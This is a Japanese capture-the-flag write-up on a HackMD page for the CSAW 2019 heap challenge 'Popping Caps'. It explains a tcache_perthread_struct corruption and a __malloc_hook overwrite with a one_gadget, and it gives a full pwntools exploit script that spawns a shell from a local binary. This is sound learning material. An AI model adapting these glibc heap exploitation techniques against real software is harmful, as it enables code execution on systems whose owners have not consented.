Xornet
    • Create new note
    • Create a note from template
      • Sharing URL Link copied
      • /edit
      • View mode
        • Edit mode
        • View mode
        • Book mode
        • Slide mode
        Edit mode View mode Book mode Slide mode
      • Customize slides
      • Note Permission
      • Read
        • Only me
        • Signed-in users
        • Everyone
        Only me Signed-in users Everyone
      • Write
        • Only me
        • Signed-in users
        • Everyone
        Only me Signed-in users Everyone
      • Engagement control Commenting, Suggest edit, Emoji Reply
    • Invite by email
      Invitee

      This note has no invitees

    • Publish Note

      Share your work with the world Congratulations! 🎉 Your note is out in the world Publish Note

      Your note will be visible on your profile and discoverable by anyone.
      Your note is now live.
      This note is visible on your profile and discoverable online.
      Everyone on the web can find and read all notes of this public team.
      See published notes
      Unpublish note
      Please check the box to agree to the Community Guidelines.
      View profile
    • Commenting
      Permission
      Disabled Forbidden Owners Signed-in users Everyone
    • Enable
    • Permission
      • Forbidden
      • Owners
      • Signed-in users
      • Everyone
    • Suggest edit
      Permission
      Disabled Forbidden Owners Signed-in users Everyone
    • Enable
    • Permission
      • Forbidden
      • Owners
      • Signed-in users
    • Emoji Reply
    • Enable
    • Versions and GitHub Sync
    • Note settings
    • Note Insights New
    • Engagement control
    • Transfer ownership
    • Delete this note
    • Save as template
    • Insert from template
    • Import from
      • Dropbox
      • Google Drive
      • Gist
      • Clipboard
    • Export to
      • Dropbox
      • Google Drive
      • Gist
    • Download
      • Markdown
      • HTML
      • Raw HTML
Menu Note settings Note Insights Versions and GitHub Sync Sharing URL Create Help
Create Create new note Create a note from template
Menu
Options
Engagement control Transfer ownership Delete this note
Import from
Dropbox Google Drive Gist Clipboard
Export to
Dropbox Google Drive Gist
Download
Markdown HTML Raw HTML
Back
Sharing URL Link copied
/edit
View mode
  • Edit mode
  • View mode
  • Book mode
  • Slide mode
Edit mode View mode Book mode Slide mode
Customize slides
Note Permission
Read
Only me
  • Only me
  • Signed-in users
  • Everyone
Only me Signed-in users Everyone
Write
Only me
  • Only me
  • Signed-in users
  • Everyone
Only me Signed-in users Everyone
Engagement control Commenting, Suggest edit, Emoji Reply
  • Invite by email
    Invitee

    This note has no invitees

  • Publish Note

    Share your work with the world Congratulations! 🎉 Your note is out in the world Publish Note

    Your note will be visible on your profile and discoverable by anyone.
    Your note is now live.
    This note is visible on your profile and discoverable online.
    Everyone on the web can find and read all notes of this public team.
    See published notes
    Unpublish note
    Please check the box to agree to the Community Guidelines.
    View profile
    Engagement control
    Commenting
    Permission
    Disabled Forbidden Owners Signed-in users Everyone
    Enable
    Permission
    • Forbidden
    • Owners
    • Signed-in users
    • Everyone
    Suggest edit
    Permission
    Disabled Forbidden Owners Signed-in users Everyone
    Enable
    Permission
    • Forbidden
    • Owners
    • Signed-in users
    Emoji Reply
    Enable
    Import from Dropbox Google Drive Gist Clipboard
       Owned this note    Owned this note      
    Published Linked with GitHub
    • Any changes
      Be notified of any changes
    • Mention me
      Be notified of mention me
    • Unsubscribe
    --- tags: pwn --- # CSAW CTF 2019 Quals - Poppong Caps これまでに解いた問題: https://hackmd.io/@Xornet/BkemeSAhU ## 公式リポジトリ <https://github.com/osirislab/CSAW-CTF-2019-Quals> ## Writeup ### Outline systemのアドレスをくれるので最初からlibc leakがされている、やったぜ。というわけでhook系の書き換えだけでクリアできる。 コマンドはcreate(mallocのみ), edit, deleteの3つ。libc leakが不要なのでshowは無い。 freeは何故かインデックスでは無く確保した領域からの距離を指定してfree出来るので実質任意アドレスをfree出来る。 7回のコマンドでクリアしなくてはならずcreate+editにあたる操作が無いのでDouble Freeしてtcache poisoningでは回数制限に到達する。 じゃあUAFと言いたいところだがdelete時とedit時には扱うポインタを入れてる変数が違っており、しかもfreeした際にeditで使うポインタはクリアされるのでUAFは出来ない。 というわけで[redpwnCTF 2020 - four function heap](/eFJwsVn3R_uH3KWwVftX2A)でも回数削減テクニックで使ったtcache_perthread_entryの書き換えをする。 最後に何故か`malloc(0x38)`が呼ばれているので`__malloc_hook`を書き換える ### Checksec ``` Arch: amd64-64-little RELRO: No RELRO Stack: Canary found NX: NX enabled PIE: PIE enabled ``` ### Binary outlineでだいたい書いた通り、最初にsystemのアドレスをくれるのでlibc leakはしなくて良い。 コマンドは次の3つ、全て合わせて7回しか使えない 1. malloc: サイズを指定してmallocする。2つポインタ用の変数がありそれらにポインタが代入される。便宜上このポインタ達を`p1, p2`とおく 2. free: `free((long)p1 + idx)`する。したがって実質任意アドレスをfreeできる。 (ほとんど確実に満たしているが)`p1 == p2`なら`p2 = 0`にする。 3. write: `read(0, p2, 8)`する 何故か最後に`malloc(0x38)`が呼ばれている ### 回数制限 最後に`malloc`が呼ばれているので`__malloc_hook`の書き換えということは想像が付く。まず考えられるのはいつもどおりDouble Freeを利用したtcache poisoningだが今回はcreate+editに当たるコマンドが無いので`create -> delete -> delete -> create -> edit -> create -> create -> edit`と8回必要になってしまう。これではもちろん制限を超過するので使えない。 ### `mchunk_size`を作る さて、今回の問題では最初にmallocして確保したポインタ`p1`からの位置がわかるアドレスならどこでもfreeできる。但し、チャンクに`mchunk_size`メンバが無いと死ぬのでそれを作らなくてはならない。 malloc+writeで`mchunk_size`を作ったところで意味のあるチャンクは作れそうに無いしコマンドの無駄使いである。ではどこに用意するかというと`tcache_perthread_struct`である。ここの定義や悪用の仕方は[redpwnCTF 2020 - four function heap](/eFJwsVn3R_uH3KWwVftX2A)を参照して頂くとして、tcacheの管理領域であることから次にどのサイズのmallocでどのアドレスを取るかを決める事ができる。よって、そこに該当する箇所をチャンクとして確保すれば良い。 素のままでは特にfree出来る箇所は無いが、カウンタ部分を適当に立てれば次のようなメモリ配置になってentries[0]部分をfreeすればサイズ0x100のチャンクとしてポインタを入手することが出来る。 ``` counts : 00 00 00 00 00 00 00 00 | 00 00 00 00 00 00 00 00 counts + 0x10: 00 00 00 00 00 00 00 00 | 00 00 00 00 00 00 00 00 counts + 0x20: 00 00 00 00 00 00 00 00 | 00 00 00 00 00 00 00 00 counts + 0x30: 00 00 00 00 00 00 00 00 | 00 01 00 00 00 00 00 00 entries : ... ``` ここでサイズ部分は`counts[i]`に対応することから何らかのサイズのチャンクを確保してfreeするとここのカウンタが1増えてこのようなメモリにすることが出来る。今回はチャンクサイズにして0x3b0のチャンクを一旦tcacheに送ればカウンタが増えるので`malloc(0x3a8)`を発動させる。 ### 次の確保先を操作する `tcache_perthread_struct`の一部をチャンクとして確保出来る見込みがついたので実際にここをfreeする。deleteコマンドが`p1`からの位置さえ判明していればどこでもfree出来るので`p1 - 0x210`であるここをfreeする。 すると0x100のtcacheにこの部分が入ることから次に`malloc(0xf8)`等を発動させるとここが確保される。 ここで8バイトだけ書き込みが出来るので書き込みを行うと`entries[0]`に当たる部分に書き込みが出来る。ということはここでもしどこかのアドレスを書き込めば次に`malloc(0x18)`のようなサイズ0x20のチャンクを確保出来るようなmallocを発動させると得られるポインタはそこを指すようになる。したがってここに`__malloc_hook`のアドレスを書き込んでwriteを行えば無事に`__malloc_hook`にアドレスを仕込むことが出来る。 ## Code ```python from pwn import * def select(s, sel, c=b"choice: "): s.recvuntil(c) s.sendline(str(sel)) def malloc(s, size): select(s, 1) s.recvuntil(b"How many: ") s.sendline(str(size)) def delete(s, idx=0): select(s, 2) s.recvuntil(b"free: ") s.sendline(str(idx)) def write(s, data): select(s, 3) s.recvuntil(b"in: ") s.send(data) if __name__ == '__main__': """ Arch: amd64-64-little RELRO: No RELRO Stack: Canary found NX: NX enabled PIE: PIE enabled """ elf = ELF("./popping_caps") malloc_got = elf.got["malloc"] libc = ELF("./libc.so.6") arena_libc = 0x3ebc40 system_libc = libc.symbols["system"] malloc_hook_libc = libc.symbols["__malloc_hook"] one_gadget = [0x4f2c5, 0x4f322, 0x10a38c] s = process("./popping_caps") s.recvuntil(b"system ") libc_addr = int(s.recvline().rstrip(), 16) - system_libc print(hex(libc_addr)) malloc(s, 0x3a8) delete(s) delete(s, -(0x210)) malloc(s, 0xf8) write(s, p64(libc_addr + malloc_hook_libc)) malloc(s, 0x18) write(s, p64(libc_addr + one_gadget[2])) s.interactive() ``` ## Flag ローカルでシェル取っただけなのでないです ## 感想 せっかくなので最近使ったtcache_perthread_structを初めて知ったきっかけになった問題を解いてみた。No RELRO(Pertial RELROより弱い)だったりしたのでもしかしたら別解があるのかもしれないが結局思い付かなかった(公式Writeupは`p1`からの距離を全探索してfreeの際にエラーを起こさない場所を探索していた、脳筋かよ)

    Import from clipboard

    Paste your markdown or webpage here...

    Advanced permission required

    Your current role can only read. Ask the system administrator to acquire write and comment permission.

    This team is disabled

    Sorry, this team is disabled. You can't edit this note.

    This note is locked

    Sorry, only owner can edit this note.

    Reach the limit

    Sorry, you've reached the max length this note can be.
    Please reduce the content or divide it to more notes, thank you!

    Import from Gist

    Import from Snippet

    or

    Export to Snippet

    Are you sure?

    Do you really want to delete this note?
    All users will lose their connection.

    Create a note from template

    Create a note from template

    Oops...
    This template has been removed or transferred.
    Upgrade
    All
    • All
    • Team
    No template.

    Create a template

    Upgrade

    Delete template

    Do you really want to delete this template?
    Turn this template into a regular note and keep its content, versions, and comments.

    This page need refresh

    You have an incompatible client version.
    Refresh to update.
    New version available!
    See releases notes here
    Refresh to enjoy new features.
    Your user state has changed.
    Refresh to load new user state.

    Sign in

    Forgot password

    or

    By clicking below, you agree to our terms of service.

    Sign in via Facebook Sign in via Twitter Sign in via GitHub Sign in via Dropbox Sign in with Wallet
    Wallet ( )
    Connect another wallet

    New to HackMD? Sign up

    Help

    • English
    • 中文
    • Français
    • Deutsch
    • 日本語
    • Español
    • Català
    • Ελληνικά
    • Português
    • italiano
    • Türkçe
    • Русский
    • Nederlands
    • hrvatski jezik
    • język polski
    • Українська
    • हिन्दी
    • svenska
    • Esperanto
    • dansk

    Documents

    Help & Tutorial

    How to use Book mode

    Slide Example

    API Docs

    Edit in VSCode

    Install browser extension

    Contacts

    Feedback

    Discord

    Send us email

    Resources

    Releases

    Pricing

    Blog

    Policy

    Terms

    Privacy

    Cheatsheet

    Syntax Example Reference
    # Header Header 基本排版
    - Unordered List
    • Unordered List
    1. Ordered List
    1. Ordered List
    - [ ] Todo List
    • Todo List
    > Blockquote
    Blockquote
    **Bold font** Bold font
    *Italics font* Italics font
    ~~Strikethrough~~ Strikethrough
    19^th^ 19th
    H~2~O H2O
    ++Inserted text++ Inserted text
    ==Marked text== Marked text
    [link text](https:// "title") Link
    ![image alt](https:// "title") Image
    `Code` Code 在筆記中貼入程式碼
    ```javascript
    var i = 0;
    ```
    var i = 0;
    :smile: :smile: Emoji list
    {%youtube youtube_id %} Externals
    $L^aT_eX$ LaTeX
    :::info
    This is a alert area.
    :::

    This is a alert area.

    Versions and GitHub Sync
    Get Full History Access

    • Edit version name
    • Delete

    revision author avatar     named on  

    More Less

    Note content is identical to the latest version.
    Compare
      Choose a version
      No search result
      Version not found
    Sign in to link this note to GitHub
    Learn more
    This note is not linked with GitHub
     

    Feedback

    Submission failed, please try again

    Thanks for your support.

    On a scale of 0-10, how likely is it that you would recommend HackMD to your friends, family or business associates?

    Please give us some advice and help us improve HackMD.

     

    Thanks for your feedback

    Remove version name

    Do you want to remove this version name and description?

    Transfer ownership

    Transfer to
      Warning: is a public team. If you transfer note to this team, everyone on the web can find and read this note.

        Link with GitHub

        Please authorize HackMD on GitHub
        • Please sign in to GitHub and install the HackMD app on your GitHub repo.
        • HackMD links with GitHub through a GitHub App. You can choose which repo to install our App.
        Learn more  Sign in to GitHub

        Push the note to GitHub Push to GitHub Pull a file from GitHub

          Authorize again
         

        Choose which file to push to

        Select repo
        Refresh Authorize more repos
        Select branch
        Select file
        Select branch
        Choose version(s) to push
        • Save a new version and push
        • Choose from existing versions
        Include title and tags
        Available push count

        Pull from GitHub

         
        File from GitHub
        File from HackMD

        GitHub Link Settings

        File linked

        Linked by
        File path
        Last synced branch
        Available push count

        Danger Zone

        Unlink
        You will no longer receive notification when GitHub file changes after unlink.

        Syncing

        Push failed

        Push successfully